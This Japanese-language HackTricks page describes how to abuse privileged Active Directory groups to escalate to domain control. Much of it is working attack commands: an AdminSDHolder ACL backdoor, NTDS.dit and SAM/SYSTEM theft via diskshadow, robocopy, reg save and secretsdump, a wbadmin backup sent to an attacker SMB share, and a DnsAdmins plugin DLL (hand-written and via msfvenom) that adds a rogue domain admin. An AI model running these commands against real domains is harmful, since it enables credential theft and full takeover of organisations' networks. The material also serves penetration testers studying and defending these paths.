Privileged Groups

htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

管理特権を持つよく知られたグループ

  • Administrators

  • Domain Admins

  • Enterprise Admins

アカウントオペレーター

このグループは、ドメイン上の管理者でないアカウントやグループを作成する権限を持っています。さらに、ドメインコントローラー(DC)へのローカルログインを可能にします。

このグループのメンバーを特定するために、次のコマンドが実行されます:

Get-NetGroupMember -Identity "Account Operators" -Recurse

新しいユーザーの追加が許可されており、DC01へのローカルログインも許可されています。

AdminSDHolderグループ

AdminSDHolderグループのアクセス制御リスト(ACL)は、Active Directory内のすべての「保護されたグループ」、高特権グループを含む、権限を設定するために重要です。このメカニズムにより、これらのグループのセキュリティが確保され、未承認の変更が防止されます。

攻撃者は、AdminSDHolderグループのACLを変更して、標準ユーザーに完全な権限を付与することでこれを悪用する可能性があります。これにより、そのユーザーにはすべての保護されたグループに対する完全な制御権が与えられます。このユーザーの権限が変更または削除された場合、システムの設計により1時間以内に自動的に再設定されます。

メンバーを確認し権限を変更するためのコマンドは次の通りです:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

スクリプトを使用して復元プロセスを迅速化できます:Invoke-ADSDPropagation.ps1

詳細については、ired.teamを参照してください。

AD Recycle Bin

このグループへのメンバーシップにより、削除されたActive Directoryオブジェクトの読み取りが可能となり、機密情報が明らかになる可能性があります:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

ドメインコントローラーアクセス

DC上のファイルへのアクセスは、ユーザーが Server Operators グループの一部でない限り制限されており、これによりアクセスレベルが変更されます。

特権昇格

Sysinternalsの PsService または sc を使用すると、サービスの権限を調査および変更できます。たとえば、Server Operators グループは特定のサービスに対して完全な制御権を持っており、任意のコマンドの実行と特権昇格が可能です。

C:\> .\PsService.exe security AppReadiness

このコマンドは、Server Operators が完全なアクセス権を持ち、昇格された特権のためにサービスの操作が可能であることを明らかにします。

バックアップオペレーター

Backup Operators グループへのメンバーシップは、SeBackup および SeRestore 特権により、DC01 ファイルシステムへのアクセスを提供します。これらの特権により、FILE_FLAG_BACKUP_SEMANTICS フラグを使用して、明示的なアクセス許可なしにフォルダのトラバーサル、リスト、およびファイルのコピーが可能となります。このプロセスには特定のスクリプトの利用が必要です。

グループのメンバーをリストするには、次のコマンドを実行します:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

ローカル攻撃

これらの特権をローカルで活用するために、次の手順が使用されます:

  1. 必要なライブラリをインポートします:

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. SeBackupPrivilege の有効化と検証:

Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. 制限されたディレクトリからファイルにアクセスしてコピーする場合:

dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD攻撃

ドメインコントローラのファイルシステムへの直接アクセスにより、すべてのドメインユーザーおよびコンピューターのNTLMハッシュを含むNTDS.ditデータベースを盗むことができます。

diskshadow.exeの使用

  1. Cドライブのシャドウコピーを作成します:

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. シャドウコピーから NTDS.dit をコピーします:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

代わりに、ファイルのコピーに robocopy を使用します:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. ハッシュの取得のために SYSTEMSAM を抽出します:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. NTDS.ditからすべてのハッシュを取得します:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

wbadmin.exeの使用

  1. 攻撃者のマシンにSMBサーバー用のNTFSファイルシステムを設定し、ターゲットマシンでSMB資格情報をキャッシュします。

  2. システムバックアップとNTDS.ditの抽出にwbadmin.exeを使用します:

net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

実演は、IPPSECによるデモビデオを参照してください。

DnsAdmins

DnsAdminsグループのメンバーは、DNSサーバー(通常はドメインコントローラーにホストされる)で任意のDLLをSYSTEM権限で読み込む特権を悪用できます。この機能により、重要な悪用の可能性が生じます。

DnsAdminsグループのメンバーをリストアップするには、次を使用します:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

任意のDLLの実行

メンバーは、次のようなコマンドを使用して、DNSサーバーに任意のDLL(ローカルまたはリモート共有から)を読み込ませることができます。

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DNSサービスを再起動する(追加の権限が必要かもしれません):

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Mimilib.dll

mimilib.dllを使用してコマンドを実行したり、特定のコマンドやリバースシェルを実行するように変更することも可能です。詳細については、この投稿を参照してください。

MitM用のWPADレコード

DnsAdminsは、グローバルクエリブロックリストを無効にした後、WPADレコードを作成することで、Man-in-the-Middle(MitM)攻撃を実行することができます。 ResponderやInveighなどのツールを使用して、スプーフィングやネットワークトラフィックのキャプチャが可能です。

イベントログリーダー

メンバーはイベントログにアクセスでき、平文のパスワードやコマンドの実行の詳細など、機密情報を見つける可能性があります。

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

このグループはドメインオブジェクトのDACLを変更でき、DCSync権限を付与する可能性があります。このグループを悪用した特権昇格のテクニックは、Exchange-AD-Privesc GitHubリポジトリで詳細に説明されています。

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V管理者

Hyper-V管理者は、Hyper-Vへの完全なアクセス権を持ち、仮想化されたドメインコントローラーを制御するために悪用される可能性があります。これには、ライブDCのクローン作成やNTDS.ditファイルからNTLMハッシュを抽出することが含まれます。

悪用例

FirefoxのMozilla Maintenance Serviceは、Hyper-V管理者によってSYSTEMとしてコマンドを実行される可能性があります。これには、保護されたSYSTEMファイルへのハードリンクの作成と、それを悪意のある実行可能ファイルで置き換える作業が含まれます。

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

組織管理

Microsoft Exchange が展開されている環境では、Organization Management として知られる特別なグループが重要な機能を持っています。このグループは、すべてのドメインユーザーのメールボックスにアクセスし、'Microsoft Exchange Security Groups' 組織単位(OU)全体を完全に制御します。この制御には、特権昇格に悪用される可能性のある Exchange Windows Permissions グループも含まれます。

特権悪用とコマンド

プリント オペレーター

Print Operators グループのメンバーは、SeLoadDriverPrivilege を含む複数の特権を持っており、これによりドメインコントローラーにローカルログオンし、シャットダウン、プリンターの管理が可能です。特権を悪用するために、特に**SeLoadDriverPrivilege** が昇格されていない状況で表示されない場合、ユーザーアカウント制御(UAC)をバイパスする必要があります。

このグループのメンバーをリストするために、次のPowerShellコマンドが使用されます:

Get-NetGroupMember -Identity "Print Operators" -Recurse

リモートデスクトップユーザー

このグループのメンバーは、リモートデスクトッププロトコル(RDP)を介してPCにアクセスできます。これらのメンバーを列挙するには、PowerShellコマンドが使用できます:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

さらなるRDPの悪用に関する洞察は、専用のペンテストリソースで見つけることができます。

リモート管理ユーザー

メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、次のように行われます:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

サーバーオペレーター

このグループには、バックアップと復元権限、システム時刻の変更、システムのシャットダウンなど、ドメインコントローラーでさまざまな構成を実行する権限があります。メンバーを列挙するために提供されるコマンドは次のとおりです:

Get-NetGroupMember -Identity "Server Operators" -Recurse

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated